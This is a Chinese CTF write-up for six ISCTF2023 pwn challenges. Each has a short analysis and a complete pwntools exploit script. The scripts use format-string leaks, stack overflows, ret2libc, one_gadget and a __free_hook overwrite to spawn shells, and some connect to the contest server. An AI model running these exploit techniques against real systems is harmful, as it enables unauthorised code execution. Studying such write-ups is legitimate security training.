非常好比赛,使我的脑袋旋转 ISCTF_pwn附件 ISCTF_wp_written_by_Hor1zon [ISCTF2023 ezpie] checksec 主要难点是pie 看看main 有个格式化字符串漏洞,因为开了pie考虑泄露程序基址 恰好此处能泄露func的地址
1 2 3 4 5 6 7 p.send(b'b' *(40 -3 ) + b'v5:' ) p.recvuntil(b'v5:' ) v5 = u64(p.recvuntil(b'\x0a' , drop=True ) + b'\0\0' ) success('func_addr: %s' + hex (func_addr)) code_base = func_addr - elf.sym['func' ] success("code_base: %s" ,hex (code_base) )
顺带着很多东西就能用了,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 pop_rdi_ret =code_base + 0x0000000000001333 pop_rsi_r15_ret =code_base + 0x0000000000001331 ret_addr =code_base + 0x000000000000101a leave_ret =code_base + 0x0000000000001252 str_bin_sh =code_base + 0x0000000000002008 pop_rax_ret =code_base + 0x00000000000012c8 puts_got = code_base + elf.got['puts' ] puts_plt = code_base + elf.plt['puts' ] main_addr = code_base + elf.sym['main' ] syscall = code_base + 0x00000000000012c5 pop_all = code_base+ 0x000000000000132c ogg = code_base+0xe3afe ogg2 = code_base +0xe3b01 ogg3 = code_base+0xe3b04
func内有处溢出,溢出空间蛮大的 程序内有syscall和bin_sh字符串,应该是可以ret2syscall的,比较懒,打ret2libc这里用的是LibcSearcher,个人推荐把sgtlibc也装上,有时候libc版本能互补,用法可参考山石夏令营的结营赛wp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 payload2 = b'a' * 0x50 + b'b' * 8 +p64(pop_rdi_ret)+p64(puts_got) + p64(puts_plt)+ p64(main_addr) p.recvuntil(b"please enter your information->" ) p.sendline(payload2) puts_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) success('puts: %s' ,puts_addr) libc = LibcSearcher('puts' ,puts_addr) libc_base = puts_addr - libc.dump('puts' ) system = libc_base + libc.dump('system' ) bin_sh = libc_base + libc.dump('str_bin_sh' ) one_gadget = libc_base + 0xe3afe p.send('fxxkingpie' ) payload3 = b'a' * (0x50 + 0x8 ) payload3 += p64(ret_addr) payload3 += p64(pop_rdi_ret) + p64(bin_sh) + p64(system)+ p64(ret_addr) p.sendline(payload3) p.interactive()
想打ret2one_gadget的话也要先泄露libc版本,实测能打 完整exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from pwn import *from pwn import p64,u64from LibcSearcher import * elf=ELF('./ezpie' ) context(os='Linux' ,arch = 'amd64' ,log_level ='debug' )def debug (): gdb.attach(p) pause() p = remote('43.249.195.138' ,20012 ) p.send(b'b' *(40 -3 ) + b'v5:' ) p.recvuntil(b'v5:' ) v5 = u64(p.recvuntil(b'\x0a' , drop=True ) + b'\0\0' ) success('v5: ' + hex (v5)) code_base = v5 - elf.sym['func' ] success("code_base: %s" ,hex (code_base) ) pop_rdi_ret =code_base + 0x0000000000001333 pop_rsi_r15_ret =code_base + 0x0000000000001331 ret_addr =code_base + 0x000000000000101a leave_ret =code_base + 0x0000000000001252 str_bin_sh =code_base + 0x0000000000002008 pop_rax_ret =code_base + 0x00000000000012c8 puts_got = code_base + elf.got['puts' ] puts_plt = code_base + elf.plt['puts' ] main_addr = code_base + elf.sym['main' ] syscall = code_base + 0x00000000000012c5 pop_all = code_base+ 0x000000000000132c ogg = code_base+0xe3afe ogg2 = code_base +0xe3b01 ogg3 = code_base+0xe3b04 payload2 = b'a' * 0x50 + b'b' * 8 +p64(pop_rdi_ret)+p64(puts_got) + p64(puts_plt)+ p64(main_addr) p.recvuntil(b"please enter your information->" ) p.sendline(payload2) puts_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) success('puts: %s' ,puts_addr) libc = LibcSearcher('puts' ,puts_addr) libc_base = puts_addr - libc.dump('puts' ) system = libc_base + libc.dump('system' ) bin_sh = libc_base + libc.dump('str_bin_sh' ) one_gadget = libc_base + 0xe3afe p.send('fxxkingpie' ) payload3 = b'a' * (0x50 + 0x8 ) payload3 += p64(ret_addr) payload3 += p64(pop_rdi_ret) + p64(bin_sh) + p64(system)+ p64(ret_addr) p.sendline(payload3) p.interactive()
[ISCTF2023 stack] checksec 直接看vuln函数 一开始以为是类似于off-by-one的漏洞,一直陷入了误区 实际上就是单纯的溢出,但是我们像平时一样测试溢出时,会导致数组s[i]的下标i被覆盖,比如我们使用这样的exp测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import * elf = ELF('./stack' ) p = process('./stack' ) context(os='Linux' ,arch = 'amd64' ,log_level ='debug' )def debug (): gdb.attach(p) pause() ret = 0x000000000040101a pop_rbp_ret = 0x00000000004011bd leave_ret = 0x00000000004012e4 size = b'1000' p.recvuntil(b"size: " ) p.sendline(size) pay = cyclic(80 ) p.send(pay) debug() p.interactive()
会导致数组写入时出现 其原因为数组下标i被b’a’覆盖,实际上数据就被读入到了s[61]处,导致我们无法覆盖返回地址 这里我们找准i的偏移,并在合适的时候填写正确的数组下标,防止其被覆盖,我们就能正常溢出覆盖返回地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import * context(os='Linux' ,arch = 'amd64' ,log_level ='debug' )def debug (): gdb.attach(p) pause() elf = ELF('./stack' ) p = remote('43.249.195.138' , 22555 ) ret = 0x000000000040101a p.sendline(b'10000' ) payload = b'a' *28 payload += b'\x1d' payload += b'\x00' *2 payload += p64(ret) payload += p64(ret) payload += p64(elf.sym['backdoor' ]) p.send(payload) p.interactive()
[ISCTF2023 fmt] 纯纯的纸老虎 checksec 保护全开,别被吓到,抓住关键点 把v1,v2改了就能拿到shell,根本不用溢出 = NX和canary没用,根本不用改got表 = full-relro没用,开了pie = 偏移一定 格式化字符串直接改就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import * elf = ELF('./fmt' ) p = process('./fmt' ) context(os='Linux' ,arch = 'amd64' ,log_level ='debug' )def debug (): gdb.attach(p) pause() main = b'%26$p' canary =b'%27$p' offset = 10 debug() pay = 'aaaaaaaaaaaaaaaaaa%8$nbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb%9$n' p.send(pay) p.interactive()''' #!/usr/bin/python3 # 格式化符号说明 %x 以十六进制打印,只能打印4字节,一般只用于32位 %p 打印目标地址,建议32位和64位都用这个 %s 打印地址内容 %c 打印单个字符 %hhn 写一字节 %hn 写两字节 %n 写四字节 %ln 32位写四字节,64位写八字节 %lln 写八字节 '''
[ISCTF2023 fries] checksec 主要漏洞点在format函数,给了7次啊7次格式化字符串漏洞利用机会 第一次泄露elfbase,第二次泄露puts地址和libc_base,第三次把ret地址改成one_gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import * context(os='Linux' ,arch = 'amd64' ,log_level ='debug' ) p = process('./fries' ) libc = ELF('libc.so.6' )def debug (): gdb.attach(p) pause() p.recvuntil('Emmmmm... Could you give me some fries\n' ) p.sendline('fries\x00' ) p.recvuntil('Go get some fries on the pier\n' ) p.sendline(b'%10$p%24$p' ) x= int (p.recv(14 ),16 ) elf_base = x-16416 elf.address = elf_base stack= int (p.recv(14 ),16 ) ret = stack - 72 pay = b'%9$s' pay += (8 - (len (pay) % 8 )) * b'A' pay += p64(elf.got['puts' ]) p.recvuntil('Go get some fries on the pier\n' ) p.sendline(pay) puts_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) success('puts: %s' ,puts_addr) libc_base = puts_addr - libc.sym['puts' ] ogg = [0x50a47 ,0xebc81 ,0xebc85 ,0xebc88 ,0xebce2 ,0xebd3f ,0xebd43 ] og = libc_base + ogg[0 ] o1 = og &0xFFFFFFFF o2 = (og >> 32 )&0xFFFFFFFF success('libc_base: %s' ,libc_base) pay = fmtstr_payload(8 ,{ret:o1},write_size='short' ) p.recvuntil('Go get some fries on the pier\n' ) p.sendline(pay) pay = fmtstr_payload(8 ,{ret+4 :o2},write_size='short' ) p.recvuntil('Go get some fries on the pier\n' ) p.sendline(pay) p.recvuntil('Go get some fries on the pier\n' ) p.sendline('\x00\x00\x00\x00' )for i in range (4 ): p.sendline('ls\x00' ) p.interactive()
[ISCTF2023 touch_file1] ?
1 2 3 4 5 6 from pwn import * context(os='Linux' ,arch = 'amd64' ,log_level ='debug' ) p=remote('43.249.195.138' ,21284 ) p.sendline(b'test\ncat flag\n' ) p.interactive()
[ISCTF2023 touch_file2] 一道glibc2.31的删符号表的cpp堆题 太抽象了:( 存个exp就跑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import * context(os='Linux' ,arch = 'amd64' ,log_level ='debug' ) p = process('./touch_file2' )def add (name ): p.recvuntil('>' ) p.send('touch ' ) p.sendline(name)def edit (name,text ): p.recvuntil('>' ) p.send('edit ' ) p.send(name) p.send(' ' ) p.sendline(text)def rm (name ): p.recvuntil('>' ) p.send('rm ' ) p.sendline(name)for i in range (8 ): add(str (i)) p.recvuntil('>' ) p.sendline('cp 0 8\n' ) p.sendline('cp 1 9\n' )for i in range (8 -1 ,-1 ,-1 ): rm(str (i)) p.recvuntil('>' ) p.sendline('cat 8' ) p.recvuntil('file_content is ' ) x = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) libc_base = x -3390432 + 1372160 libc = elf.libc __free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ] edit('9' ,p64(__free_hook)) success('libc_base:%s' ,hex (libc_base)) add('yy /bin/sh\x00' ) add(b'tt ' +p64(system)) rm('yy' ) p.interactive()